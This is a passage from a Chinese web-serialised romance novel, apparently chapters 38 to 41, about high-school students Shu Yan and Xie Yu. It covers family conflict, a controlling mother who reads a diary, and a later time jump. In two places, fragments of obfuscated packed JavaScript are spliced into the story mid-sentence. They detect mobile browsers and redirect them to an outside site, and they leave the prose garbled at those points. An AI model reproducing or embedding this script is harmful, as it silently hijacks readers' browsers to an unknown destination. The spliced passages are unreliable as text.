“先等等。”舒言把自己手上提着的礼物递给他，眉眼弯成好看的形状，“祝你生日快乐。” 少女真挚热烈的笑容晃得谢玙有些晕眩，喉咙也痒痒的，巨大的满足感填满他整个胸腔。 对视了良久，谢玙才伸手把礼物接了过来，声音下意识柔和了几分，“谢谢。” 两个人并排走在回学生宿舍的路上。 夜晚的学校也闹哄哄的，学生的欢声笑语洒在学校每个被灯光眷顾的角落。 倏地想起什么，舒言又取下书包，拉开拉链从里面拿出两张照片，她先递了一张给他。 “这是你和潇雨的合照。” 谢玙接过后只随意扫了一眼，而后那双漂亮的眸子往她这边探了过来。 他问：“我们的呢？” 他这个“我们”说得太过于自然，舒言还短暂地征愣了几秒。 她默默拿出藏在自己身侧的照片，“这里。” 谢玙眉头轻挑，垂眼看了起来。 见他看得实在仔细，舒言没忍住出声问：“是有什么问题吗？” 谢玙指尖摩挲着照片，声音透着股愉悦：“没有啊，我很喜欢。” 喜欢什么？ 舒言脸微微发烫。 他应该是觉得这张照片拍得还不错吧。 她声音轻轻的，嘴角不自觉上扬，“我也喜欢。” 谢玙似乎轻笑了一声，又问了几句她去北沅参加化学竞赛的事情。 很快就到了女生宿舍楼下。 舒言伸手指了指里面，“那我先进去了？” “等等。”谢玙却叫住了她，脸上的表情也变得严肃起来。 舒言不明所以地看向他。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15308101|166098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“怎么了？” 谢玙唇线抿成一条线，定定地看着她说：“其实……名义上陶续是我哥。” 舒言眼底说不出的惊讶。 她没想到他们居然是这样的关系，但从刚才自己提起陶续时谢玙的反应来看，他们的关系好像并不好。 谢玙也没想隐瞒什么，“如你所见，我和他的关系比较恶劣。” “具体原因说起来比较复杂，以后有机会再和你说。” 谢玙微微弯了点腰，温柔凝视着她的眼睛：“他这个人心思比较重，你……” 他顿了顿，提醒道：“还有你朋友最好不要和他有太多交集。” 虽然不知道他们之间到底发生了什么，但舒言还是选择坚定相信他。 她郑重其事地点头：“好，我会注意的，也会提醒我朋友。” 谢玙这才放下心来，“行，你快进去吧。” 舒言：“嗯，你也快回家吧。” — 第二天是周一，天气还不错，快到中午的时候还出了太阳。 一整个上午都在忙碌的学习中度过，中午舒言和蔡妙妙一起去了食堂。 吃完饭后她们想晒会太阳，就慢悠悠的沿着高一高二两栋教学楼间的连廊回教室。 蔡妙妙心情的还不错，一路上都在哼歌。 舒言想起昨晚谢玙在宿舍楼下说的事情，正思索该怎么开口和她说，就听见她很是激动地拍了下自己的手。 “言言，你快看那棵树上，怎么有个纸飞机。” 舒言眼睫飞快地眨了下，顺着她手指的方向看了过去。 不远处一棵长满花苞的玉兰花树上，一个显眼的绿色纸飞机被卡在枝丫间，而且是很高的位置。 秋日的暖阳照射下，那个纸飞机周身亮闪闪的，很是惹人注意。 蔡妙妙：“哇，这个纸飞机还挺好看，不知道是谁折的，怎么跑树上去了。” 那棵玉兰花树正对着的正好是17班的窗户。 舒言很难不去怀疑这个纸飞机就是自己放在谢玙桌上那个。 虽然她清楚他并不知道这个飞机是自己送的，况且他桌上的纸飞机实在是太多了，可为什么被扔出来的偏偏是自己这个呢。 舒言心里难免有些失落，她敛睫挡住眼底的情绪，心情一点点沉下去。 她拉了拉蔡妙妙，“我们回教室吧。” 蔡妙妙回过头：“哦哦，好。” 眼神却一直在往纸飞机的方向瞟。 “我突然想起夏艺之前和我们说的纸飞机的故事，你说这该不会是哪个女生折来送给喜欢的人的叭，这要是看到自己的飞机被扔了，她该有多难过啊……” …… 谢玙今天晚上回了爸妈住的别墅。 写完歌词的前半段后已经到了深夜。 他正打算关门休息，门外突然传来一阵敲门声。 他走过去把门打开，发现门外站着的人竟然是陶续。 谢玙神色冷漠，实在懒得搭理他，正要关门，却听见他说：“有件事情，我想还是要通知你一下。” “我想你一定会感兴趣的，舒言，她是叫这个名字吧。” 闻言，谢玙皱了下眉，“有话就说。” 陶续抱胸恶劣地冲他笑了笑，“其实也没什么，就是来通知你一声——” “我把她送给你的纸飞机扔了。” 说完还配合做了个放飞的动作。 “谁知道那个飞机刚好卡在教室外面那棵树上，也不知道被她看到没有。” 这时窗外传来一阵闷雷声，听上去像是要下雨了。 “哦，对了，飞机上面还写了字，你难道不想知道她写了什么吗？” 下一秒，谢玙直接攥住了他的衣领，拳头重重地落在了他的脸上，可陶续却是不慌不忙擦去嘴角的血，“看样子外面是要下雨了，你可要抓紧时间哦，我亲爱的弟、弟。” 说完扯开他的手潇洒转身。 谢玙极力压制着体内的怒火，回到房间拿上外套，关上门离开了别墅。 39. 第39章 昨天晚上下了雨，上午从连廊经过的时候，舒言还特意往那棵树上看了看。 纸飞机果然已经不在了，估计是被雨打湿后碎掉了吧。 她黯然收回视线，往教室的方向走去。 刚回到座位上，蔡妙妙就转身过来拍拍她的手，示意她看前面。 舒言抬起下巴看了过去。 许茉和许愿两姐妹无精打采地趴在桌子上。 舒言用嘴型问怎么了。 蔡妙妙用同样的方式回了个不知道。 “不过……”蔡妙妙凑近她的耳朵，“今天早上来的时候，她们两个的眼睛就红红的。” 舒言眼底闪过一丝担忧，“那我们今天下午去抱物理作业的时候问问。” 蔡妙妙点点头。 一上午的时间很快就过去，下午物理课前的大课间，蔡妙妙主动去拉许茉的手，舒言则是叫上了许愿。 许茉：“不是，你们俩怎么比我们两个课代表还要着急？” 蔡妙妙笑嘻嘻地凑上去，“这不是想和你们一起说说话嘛。” 许愿神色恹恹，整个人都有气无力的。 舒言关切地问：“怎么了，是没休息好吗？” 她摇了摇头，和许茉对视了一眼，两姐妹一副生无可恋的样子。 蔡妙妙：“不是，你们俩怎么啦，平时那么能聊的人，今天怎么连话都不想说。” 许茉和许愿还是沉默不语。 舒言和蔡妙妙隔空对视了一眼，默契地也没有再开口说什么。 经过17班的时候，舒言还是习惯性地往里面看了一眼，发现谢玙现在并没有在班上。 她有些失望地收回目光，却感受到蔡妙妙有些兴奋地摇了下自己的手臂，舒言顺着她的视线看了过去，正好撞见陶续从17班教室后门出来。 像是发现了她们，他的视线有意无意地看了回来，脸上还带了点痞气的笑。 舒言被他的眼神看得不太舒服。 她赶紧挪开目光，压低了声音说：“妙妙，待会我有话和你说。” 可蔡妙妙的视线却舍不得收回，一直追随着陶续，一直到他消失在走廊尽头。 “妙妙？” 舒言再叫了她一声，她这才回过神来。 “啊，怎么了？” 舒言神色一凝，“待会回班上再说。” 抱完作业后，她们就直接回了班上。 这一趟还是没有问出许茉许愿到底是怎么了，但她们不愿意说，显然是有自己的顾虑。 下午下课后，舒言想了想还是把蔡妙妙叫到了教室外。 她试探着问：“妙妙，你和……就是陶续，你们聊得怎么样？” 闻言，蔡妙妙脸上却是露出一个羞涩的笑容，“我们聊得挺好的呀，他回复挺热情的，我们每天晚上都会聊会天呢。” “我跟你说，我觉得他好厉害，懂得好多，说话还很搞笑。” “……” 见蔡妙妙热情高涨的样子，舒言不好打击她的热情，只是委婉地提醒她：“妙妙，其实有的人在网上和本人可能不太一样。” “不管怎么样，你一定要好好保护好自己，千万不要被人骗了。” 蔡妙妙点点头，眼睛亮亮的，也不知道听没听进去。 舒言叹了口气。 隔天，许茉许愿来学校的时候脸色依旧很差。 数学课下课后，许茉和舒言一起去上厕所。 可舒言却听见许茉偷偷在厕所里哭。 舒言选择默默离开，在外面等到许茉出来，发现她的眼睛果然红红的。 她立马递上一张纸，温声问：“许茉……你怎么了？” 许茉接过去擦了擦眼睛，可眼泪却像水龙头一样，根本止不住。 “呜呜呜，舒言。” 舒言被她吓到了，赶紧温柔抚摸了几下她的背。 许茉眼睛都哭肿了，她带着哭腔，肉眼可见的伤心，“舒言，我爸妈要离婚了。” “可他们谁也不想要我和姐姐。” “我妈嫌弃我们是拖油瓶，我爸也早就在外面生了个儿子。” “你说是不是因为我和姐姐不够优秀，他们才离婚的……” “我真的难过，我真的不知道以后该怎么办了。” “……” 舒言没想到她们这几天的反常居然是因为这件事情，一时之间也有些无措，不知道该怎么安慰她。 父母离婚这件事绝对不算小事，更何况她们还没成年，父母却想着推脱继续抚养她们，这件事情搁在谁身上都不会好受。 舒言还在组织措辞的时候，许愿突然出现在她们面前。 她一把拉住许茉的手，“别哭了，没出息，咱们才不是什么拖油瓶，这么嫌弃我们当初就不要生。” “姐……”许茉无助地喊道。 许愿红着眼给她擦了擦脸上的眼泪。 她很大声地吼了一句，“别哭了，许茉，哭不能解决问题。” 舒言知道她们现在心里肯定都很难受，沉吟了几秒说：“那你们打算怎么办？” 许愿咬了咬嘴唇，刚想说什么，上课铃声却突然响了。 舒言握住她们的手，眼神坚定地看着她们：“别怕，下课后我们一起想想办法。” 许愿和许茉对视了一眼，神色复杂地点了点头。 晚自习上课前，她们一起去了一班旁边的天台。 听姐妹俩讲了一遍前因后果后，夏艺气愤得直接握紧了拳头。 “这什么人啊，也配做父母。” 蔡妙妙嘴里都快能喷出火来，“我受不了了，怎么会有父母不愿意要自己的小孩。” 许茉忧伤地垂下眼帘，“其实我妈外头也有一个相好的，但是他明确说不想要我和我姐。” 从目前的情况来看，许茉许愿的父母离婚几乎已经是板上钉钉的事情，现在要紧的还是考虑她们两姐妹以后要怎么办。 舒言想了想问：“那你们爷爷奶奶呢，你们感情怎么样？” 许茉看了看许愿说：“爷爷奶奶还挺喜欢我们的。” 许愿听出来她的意思，“所以你是觉得我们可以和爷爷奶奶一起生活？” 舒言点点头，“你们都还没有成年，不管父母离不离婚，都对你们有抚养的义务。” “就算你们没有继续和他们一起生活，他们每个月都应该给一笔抚养费给你们。” 夏艺安静听她说完，“我也觉得舒言说得很对，这可能是最好的选择了，而且不是一笔抚养费，是两笔。” 许茉咬了咬唇，下意识去看许愿的反应。 舒言理智地给她们继续分析，“我知道父母离婚你们肯定很难过，但是就像你们说的那样，你们的爸爸在外面已经有了一个儿子，妈妈又想再婚，而且男方又不 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许茉：“姐姐，我们还有彼此。” 许愿眼眶湿润，“对啊，我们还有彼此，以后的路我们一起走。” 蔡妙妙赶紧上前搂住她们，“你们还有我们呢，我们要做一辈子好朋友的。” 舒言也点点头。 夏艺：“就是就是，你们并不孤单。” 许愿吸了吸鼻子，“谢谢你们，我和许茉不会被这件事情打倒的，我们要更加努力，一起过上更好的生活。” 许茉：“嗯嗯，我们以后一定会好好的。” 大家都笑了起来。 天台的晚风终于吹散了少女们郁结于心的忧愁。 …… 晚自习下课后，舒言和许漫一起回宿舍。 许漫说她有两道数学题没做出来，让舒言回宿舍给她讲讲。 舒言答应了下来。 许漫把包往桌上一放，“我们先洗漱了来吧。” 舒言笑了笑：“好。” 熄灯前另外几个室友也回来了，大家一起分了点吃的。 “来吧，舒言宝贝，给我讲一下这道题。”许漫搬了个板凳来她这边。 鹿铃儿挤了过来：“什么题什么题。” 许漫指着练习册上空着的两道函数题，“就这两道。” “啊啊啊，我也没做出来，等我一下。”鹿铃儿赶紧把练习册从书包里拿了出来，“舒言，顺便给我讲讲吧。” 舒言定睛看着许漫手指到的题目，他们班的进度会比普通班快一些，所以这节作业他们上周就做过了。 舒言拿出笔和草稿本给她们耐心分析题目，然后引导她们想起对应的知识点，再帮助她们理清了解题的思路。 许漫感觉自己好像听懂了，“那我先去做做看。” 鹿铃儿：“那我也先自己做做看。” 没过多久，许漫又重新回来了，“舒言，快帮我看看，第一个小问我做对没有。” 舒言拿过来仔细看了看，“对了的。” 许漫脸上露出一个开心的笑容，突然想到什么，她凑近了些，“对了，我今天在食堂看到何昭了。” 舒言眸光微动，“怎么了？” 许漫手上转着笔，语气里透着点担忧，“我听何昭说谢玙感冒了，好像还挺严重的，今天都没来上学。” 40. 第40章 这一周剩下的时间谢玙都没来学校。 一眨眼又到了周六，舒言拿着一本书坐在窗前，有点心不在焉地翻着。 他病得这么严重吗，都好几天没来学校了。 舒言拿出手机登录Q.Q，发现他的头像也是黑的。 也是，生病的人哪里有心情上线和别人聊天呢。 舒言在心里默默为他祈祷，希望他能快点好起来。 到了晚上，舒言和社团的同学约了一起去外面看电影。 虽然她没什么心情，但这是校报社的团建，她作为社长也不好推脱。 取完票后，他们又买了爆米花和可乐，按着票根找到了座位。 他们看的是一部评分很高的文艺片，叫《亚当的家》。 讲的是一个叫亚当的人很小的时候就失去了父母，然后他被迫开始了流浪，过上了四处为家的生活。 他一直渴望重新拥有一个家，但是很可惜在电影的最后，他都没有一个属于自己的家。 走投无路后，他恳求他最好的朋友，在他死后将他的骨灰洒进大海。 电影的最后有这样一段话—— 所以到底什么是家呢？家是温暖的港湾，是避难的场所，是灵魂的寄托……但或许家只是一个有你、有你们的地方。 电影结束的时候，好多人都看哭了。 看过电影后，舒言就直接回家了。 电影院离家并不远，她干脆选择步行回去，顺便散散心。 晚上的空气透着一股凉意，风直往脖子里钻，舒言拢了拢外套，拿出手机看了看Q.Q，然后又失望地塞进了口袋。 到家以后，舒言发现家里客厅的灯开着，可房间里静悄悄的，像是没人似的。 她穿过客厅，却看到自己房间的门大大敞开着，灯也是亮着的。 家里平时没人进她的房间的，所以她的第一反应是家里进贼了。 舒言屏住呼吸往房间的方向挪动，可下一秒就看到陈岚背着身坐在她的床上，而舒连溪站在床边，手上拿着的…… 是她的日记本。 舒言心猛地一跳，赶紧走过去把笔记本从他手上抢了过来。 可当她看见日记本上的锁被弄坏的时候，心跳骤然加速起来，太阳穴也跳了几下。 手上没有东西后，舒连溪哇的一声哭了出来，扑进了陈岚的怀里，而这一声像是触动了什么开关一样。 陈岚凌厉的目光唰的一下朝她看了过来，脸色十分阴沉。 她低下头温柔地把舒连溪抱在怀里，又耐心逗弄了几句，舒连溪这才不哭了。 他从陈岚怀里离开，捏着自己的飞机玩具，踉踉跄跄地出去了。 陈岚还是坐在床上，她低头不知道在看什么，一直没说话。 周遭的空气压抑又沉闷，房间里安静极了。 舒言拿着日记本的手不自觉攥紧，心脏像是被热水泡着，忐忑又不安，她不知道这本日记陈岚有没有看过。 她试探着喊了句：“妈，你……” “舒言。”陈岚终于抬起头看她，克制着脾气问：“你晚上去哪了？” 舒言对上她探究的视线，“社团团建，我和社团的同学一起去看电影了。” 陈岚鼻腔发出一声冷哼，“是吗？我还以为是和那个叫谢玙的男生呢。” 舒言呼吸一滞，她皱了皱眉，“妈，你怎么能偷看我日记？” 听见她这么说，陈岚心里憋着的气一下就爆发了，“我偷看你日记？你是我生的，我为什么不能看。” 陈岚伸手指向她，急促地喘着气，显然并没有觉得自己的行为有什么不妥。 舒言声音闷闷的，胸口也生起了一团火，“虽然你是我的妈妈，但日记是我的隐私，你怎么能随便看，而且我的日记本是带锁的，现在你连锁都弄坏了……” “隐私，什么隐私？”陈岚干脆从床上站了起来，反问道：“如果不是你弟弟今天非要来你的房间玩，不小心把你的日记本弄坏后，我都不知道你竟然偷偷学着别人在学校早恋！” “什么时候开始的？你和那个男孩在一起多久了？” “我一直觉得你是个听话的孩子，谁知道背后也偷偷不学好，你老实告诉我，今天晚上是不是和他一起出去约会了？” “还有之前周末的时候，你说出去学习，是不是都是出去和他鬼混了？” “……” 一连串的问题问得舒言耳朵嗡嗡的，垂在身侧的手把衣服下摆抓得皱皱的。 可她明明没有，为什么问都不问她，就直接断定她早恋了。 这种不被至亲之人信任的感觉让她的意志有一瞬间的崩塌。 她静静地看着陈岚说：“没有，我今晚不是和他一起，我也没有早恋。” 陈岚声音倏地拔高，“我不管你说的是不是真的！舒言，我是怎么和你说的，你现在还是个高中生，你应该专注于学习，而不是被那些无关紧要的人和事打扰。” 她猛地靠近，一把夺过舒言手上的笔记本，随意翻到一页，指着上面的内容怒气冲冲地说：“你自己看看你在日记里写的是什么，什么听他的演出，去他家里吃饭，和他一起去公园玩……” “我就说你之前在家里怎么偷偷在笑，原来是在学校瞒着我和你爸搞这种事情！” “你看看你现在什么样子，我就说你的成绩为什么比不上初中的时候，现在脑子里整天都在想这些事！我平时是这样教你的？我有教你写日记和男生表白？真的是一点都不害臊！” “……” 舒言知道自己的辩解已经没有任何意义，她想从陈岚手里把日记本拿回来，但陈岚却伸手在她身上摸手机，舒言躲着不让她碰，却被陈岚死死地拉住了衣服。 “你有没有那个男生的电话，现在就打给他！马上和他说清楚！” 舒言被她手臂勒得有种窒息的感觉，她吸了吸鼻子，把手机死死攥在手里，“我没有他电话。” 陈岚自然是不相信的，强行抢过她的手机，打开通讯录检查了一圈。 见确实没有那个男生的电话，陈岚这才冷静了点，她声音强势又不容拒绝，“你们平时肯定有联系，手机我先没收了，一直到高考结束你都别想用手机了。” 舒言有些无助地叹了口气，再次强调道：“我和他就是普通朋友，真的没有早恋，不管你信不信。” 陈岚气得不行，“行，我暂且相信你，但是你必须答应我以后不准再继续和那个男生来往。从下周起你也别住校了，每天给我按时回家，哪里都不准去。” 舒言想也别想地说：“对不起，这个我做不到。早恋是假的，但我喜欢他是真的。” 有没有手机、住不住校对她来说都没那么重要，但是要她再也不和谢玙来往，她真的做不到。 没想到她还是死不悔改，陈岚直接被气笑了，“行啊，舒言，你现在长大了，有本事了，我管不了你了。” “没事，那我直接去找那个男生，他是叫谢玙是吧，17班的，我周一就去学校找他，我去求求他，让他放过我的女儿！我给他下跪磕头，求他高抬贵手！” 陈岚显然被气得不轻，撂下狠话后，她冷着脸把笔记本往床上用力一扔，怒火冲天地离开了舒言的房间。 舒言像是被巨石压得喘不过气来，她抬手摸了一把脸，才意识到自己原来哭了。 她强忍着泪水看了看天花板，眼睛被白炽灯晃得刺眼，晶莹的泪珠不停地从脸颊悄然滑落，衣领都被打湿了。 明明她只是在心里偷偷喜欢他，可为什么连这样都不被允许。她不是机器，做不到对感情精准控制，收放自如。 为什么一定要逼她呢…… 可舒言知道陈岚是那种说到做到的人。 她怎么可能让他陷入那么难堪的境地。 不知道僵持了多久，最后舒言听见自己说了句：“好，我答应你，你别去找他。” 坐在客厅的陈岚也不知道听到没有，怀里依然逗弄着自己的小儿子。 那天晚上，舒言一个人坐在地上哭了很久，可她哭的时候却连声音都没有。 — 转周以后，陈岚就到学校帮她办理了退宿。 每天晚上放学以后，陈岚都会抱着舒连溪来校门口接她回去，有时候下课慢了又免不了被陈岚说一顿。 舒言觉得自己这段时间真的糟糕透了，她只能拼了命地学习，试图用学习麻痹自己。 每天的生活又像以前那样枯燥又忙碌，生活好像也没有什么不同，但她再也没有去抱过物理作业。 其实也不是没有在学校里碰到过谢玙，只不过每一次，她都只是假装很忙然后匆忙经过。 甚至有一次他来教室外面找自己，舒言也让同学帮忙传话让他离开了。 许漫还专门来问她发生了什么，为什么最近都不和他们联系了，舒言只说自己手机被陈岚没收了，她最近管她管得很严，而且他们下学期就高三了，她想花更多精力在学习上。 …… 这学期很快就迎来了尾声。 放假那天，快到校门的时候，舒言才想起自己有东西落教室了，就一个人回教室去拿，结果在二楼的时候，迎面撞上了陶续。 舒言和他并不认识，所以打算直接无视离开，但他似乎没有要让她走的意思。 她往左，他就往右，她往右，他又往左。 几次下来，舒言也有点生气了，冷着声说：“可以不要挡路吗？” 陶续看见她被惹怒了，反而很好心情地笑了起来。 他舌尖顶了下左脸，对她说：“正好要找你么，去旁边聊聊？” 舒言眉心微蹙，不明白他们有什么好说的。 “抱歉，我赶时间。” 可陶续却认为她不过是在欲拒还休，毕竟她在网上和他聊的时候都这么热情，现在怎么可能会狠心拒绝他。 他轻嗤了一声，“你装什么装，你以为我不知道你喜欢我吗？” “对了，你最近怎么不去抱作业了，都好久没在我们班门口看到你了。” 舒言被他的话弄得一头雾水。 她不知道为什么陶续会误会自己喜欢他。 明明他们都没说过几句话，平时也没有任何交集，完全谈不上认识。 “你什么意思？” 陶续眼神戏谑，倾身靠近她，“不是你约我期末考试完一起出去玩吗？怎么现在还不好意思了。” 说完更是想伸出手来摸她的头。 还好舒言及时躲开了，可胃里顿时一阵翻滚。 她抬头看着他，字字铿锵有力：“我想你搞错了，我并不认识你，更不可能约你一起出去玩。” 见她不认账，陶续干脆拿出手机翻出了昨晚的聊天记录，怼在了她面前。 认出来和他聊天的人是谁时，舒言皱起了眉头。 这个头像还有昵称明显是妙妙，但是陶续为什么会认为和他聊天的人是她呢？ 难道是妙妙加上后没有和他互通姓名吗？ 她深吸了一口气，维持着淡定：“陶续，和你聊天的人不是我，而是我的同学。” 闻言，陶续脸上的表情直接凝住，他不敢相信地说：“不是你？怎么可能，当时就是你来找我要的Q.Q，你现在又说不是你。” 舒言耐着性子和他解释，“我当时本来就是来帮我同学要的，我记得我也是这么和你说的，是你自己弄错了。” 说完就打算离开，可陶续却以为她是在骗他，拦着不让她走。 舒言被他弄得有点烦，下意识提高了音量，“你到底要干什么？” 陶续黑着脸反问她：“我干什么，我还想问你干什么，你既然不喜欢我为什么要来问我要联系方式，你是不是故意的，是不是，故意想看我出丑是吧。” 他像是气极了，“我知道了，你喜欢谢玙对吧，你知道我和他的关系，所以想帮着他来对付我，老子真的搞不明白了，老子到底哪里比不上他，他不过是个小三的孩子，如果不是他还有他那个狐狸精妈妈，我妈就不会死……” 听他提起谢玙，舒言隐忍的情绪终于爆发了，直接开始怼他：“你是脑子有病吗？还是有被害妄想症？请你嘴巴放干净点，什么小三，狐狸精的……我告诉你，谢玙他比你好一千倍一万倍！” “你……”被她的话刺激到，陶续咬牙切齿地说：“他哪里比我好了，他不过是个小三生的孩子，你觉得他比我好，不过是因为你喜欢他！” “陶续，你错了。”舒言脸上的表情很镇定，“不管我喜不喜欢他，谢玙他都是一个很好很优秀的人，而你永远都比不上他！” 父母对子女的影响是巨大的，所以舒言是打心底觉得陶续说的话都是假的，如果谢玙的妈妈真是这样的人，谢玙不可能像现在这样三观正、有教养。 “你说什么！” 陶续简直怒不可遏，抬起手就要动手打她。 舒言正要往后躲，却被人从身后护在了怀里，后背猛地贴上一堵温热结实的胸膛，熟悉的冷冽清香钻入了她的鼻息。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15323609|166098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 等她再次抬头时，看见陶续的手腕被人用力拽住，然后往后重重一甩，他整个人都重心不稳地往旁边的栏杆撞了一下，发出很大一声吃痛的闷哼。 “你没事吧，是不是被吓到了？”谢玙松开舒言，低着头很紧张地询问。 舒言心神未定地摇了摇头，视线往下挡住了眼底的湿润。 确认她没事，谢玙才看向了陶续，眼神覆了层寒冰似的，冷得吓人，他开口警告道：“陶续，如果你这只手不想要了的话，我不介意帮你！” 四周暗涌的气氛剑拔弩张，空气仿佛被冻结住了。 陶续揉了揉发疼的手臂，发出一声冷哼，“行，算你们狠。” 他眼神扫过躲在谢玙身后的女生，嗤笑道：“还真的挺有意思啊。” 陶续离开后，留在原地的两个人许久都没有说话。 舒言不知道该怎么面对他，内心深处让她靠近她，现实又让她远离他。 她被两股力量拉扯着，分不清谁胜谁负。 不知是不是看穿她内心的纠结，谢玙主动问她：“是要回教室吗？” 舒言点了点头。 谢玙神色有些复杂，“那我陪你上去，可以吗？” 舒言没同意也没拒绝，倒像是默认了。 她走在前面，而谢玙就在后面不紧不慢地跟着。 空荡荡的教学楼里，只有他们脚下发出的声音。 舒言不确定刚才的话他到底听到多少，不过好在他也没有主动提及。 回教室拿完东西后，舒言也没多停留，直接下楼朝校门口走去。 谢玙一直跟在她的身后没离开，可两个人也没开口说话。 今天陈岚要带舒连溪去医院打针，所以就没来校门口等她。 迎面吹来一阵冷风，舒言搓了搓发红的双手，又对着掌心哈了一口气，脚下有些迟缓地迈着步子。 天气阴沉沉的，空气刺骨的冷，头顶上一大片的积雨云，看上去是要下雨了。 果然还没走几步，就开始掉雨点了。 舒言书包里有伞，但是她今天却不想打伞。 快到小区门口的时候，她还是停了下来，然后转过身看向不远处的少年。 谢玙也没打伞，手垂在身侧，隔着几步远的距离，静静地看着她。 豆大的雨珠落在舒言的脸上，也不知道是不是冷到了，她竟然有种想哭的冲动。 舒言低头盯着自己的脚尖看了几秒，等抬起头时，发现他已经走到了自己面前。 这一次舒言没有再躲闪，目光有些贪恋地看着他。 谢玙眸光微动，声音有点沙哑：“你……寒假有空吗，我写了几首新歌，想邀请你来听。” 舒言眨了下眼睛，强忍住内心上下翻涌的酸涩感，脸上勉强挤出个笑容，“不好意思，我寒假可能比较忙。” 谢玙虽然有些失落，但也只是说：“没关系，下学期也可以……” “谢玙。”舒言手指不自觉地绞在一起，还是残忍地打断了他，“我以后应该都会很忙，所以……你能明白吗？” 陈岚应该很快就要回来了，要是被她看到他们站在一起，怕是又和她说不清楚。 她实在害怕陈岚对他恶语相向，更害怕他看到自己狼狈的模样。 喜欢一个人，怎么可能忍心让他沾上半点泥污。 她希望他永远被太阳照耀，围绕他的都是掌声和鲜花。 雨下得越来越大，雨点争先恐后地砸在地上，溅起一朵又一朵的水花。 谢玙垂在身侧的手握成拳头又松开，反反复复，他从未想过周围滴滴答答的雨声也能这么让人煎熬。 沉默了良久，他唇边扯出个极淡的笑，“……我明白了。” 末了，最后深深看了她一眼，语气还是一如既往的温柔，“快回去吧，都淋湿了。” 舒言鼻头一酸，强迫自己挪开了视线。 “……你也是。” 转身的那一刻，她终于忍不住哭了出来，可她没有回头，一直大步地往前走。 小区楼下的那家超市正放着林菲的《珍贵》，沙哑好听的女声飘进每个过路人的耳中。 “怪只怪我们太年轻/握不住掌心的命运……” — 寒假很快过去，舒言没有手机，假期基本上和外界断了联系。 开学后，每天还是按部就班的上课下课，从上个学期开始，舒言的成绩就已经能够稳定在年级前五十。 新的学期，她再也没有在学校见过谢玙。 直到偶然间在路上碰到了何昭，她才知道谢玙开学没多久就转学回北沅了。 也是这个时候她才知晓，原来看上去开朗乐观的梁潇雨竟然患有先天性心脏病，医生甚至断定她活不过18岁。 谢玙这次转学也是因为梁潇雨病情突然恶化，需要转院去北沅接受治疗，就连学期即将面临高考的梁霄云也跟着转学了。 谢玙就这样彻底消失在她的生活里，就好像他从来没有出现过一样。 只有当舒言看着抽屉里的那包心相印纸巾，那根粉色的发圈，偶尔用来听听力的mp3，还有他亲手编的狗尾巴兔子，她好像才能感知到他曾经出现在自己的生命里。 日子就这么一天一天过去，高中这本书翻了一页又一页，直到来到2017年的6月7日。 高考结束这天，有人在天台狂奔大声呼喊自己的妈妈，有人高兴地抱成一团，有人热泪盈眶，也有人把书和试卷全部撕掉，从楼上高高抛下，看着雪白的碎片像羽毛一样在空中飞扬…… 所有人几乎都在用自己的方式宣泄压抑许久的情绪，去向全世界昭告自己的解放。 高考成绩是6月23出来的。 舒言稳定发挥，总分705，华大和北大都朝她敞开了大门。 填报志愿前，她又回了趟学校。走出校门的那一刻，舒言再次回头看了看这个承载了自己三年记忆的地方。 都说记忆是有味道的，可舒言说不上来自己的记忆是什么味道，酸甜苦辣咸都无法准确形容。 她一个人去了那天叫“课间十分钟”的糖水铺，老板娘依旧招呼她写张便利贴留作纪念。 在落笔的那个瞬间，舒言终于勇敢地写下了那句她一直想说的话—— 谢玙，我喜欢你。 ……我真的很想你。 可遗憾的是那些未说出口的喜欢和思念，终究只是被雨淋湿的纸飞机，完成不了既定的航线，无法抵达有他的终点。 校园篇完。 41. 第41章 2023年12月。 谢玙工作室在上个月官宣了2024年“时间絮语”世界巡回演唱会，其中第一站就是北沅。 消息一出直接登顶了好几个社交软件的热搜榜单。 2018年，谢玙凭借一张专辑横空出世，很快便红遍大江南北，成为有史以来单曲播放量最快破亿的歌手，出道这几年各大奖项都拿了个遍。 独特的唱法，惊人的才华以及出色的外形让他很快在乐坛站稳了脚步，当之无愧的实力与人气并存，每次发新歌都会引发空前的讨论量。 这次演唱会是他时隔两年的再次回归，据说他在本次演唱会期间还会发行他的新专辑。 …… 傍晚6点，云阙科技的办公大楼里。 徐倩琳狂点抢票软件的界面，嘴里还念叨着“菩萨保佑，菩萨保佑……” 可前后不过几秒钟，办公室就传来她一声暴躁的怒骂声。 “卧槽，死系统，破系统。” 她有气无力地把手机扔到一旁，崩溃地抱头发出一声哀嚎，“又没了，又没了……” 旁边的同事没忍住发出一声无情的嘲笑，“我就说嘛，你要能抢到算我输。” 徐倩琳都快崩溃了，“我真的服了，我刚点进去就显示前方拥挤，然后刚一刷新，票就没了……” “天哪，我现在真的好难受啊，谢玙好不容易才开一次演唱会，错过一次怕不是又要等两年。” “为什么要有这么多人喜欢他啊，就不能少一点嘛，这样我就能抢到票了。” 坐在她对面的舒言在听见“谢玙”两个字时抬头看了她一眼。 对面的徐倩琳赶紧和她诉苦：“舒言，我怎么这么命苦啊，代码写不完，演唱会门票也抢不到，今晚还得加班，这苦逼又操蛋的生活。” 舒言拎着包，随手递给她一瓶酸奶，“辛苦了，我今晚就先下班了。” 徐倩琳伸手接过，又说：“哦，对了，我想起来了，你今晚要去参加高中同学聚会，那陈质怎么……” 话还没说完，陈质就出现在他们办公室门口，他热情地和大家打招呼：“哈喽，亲爱的战友们。” 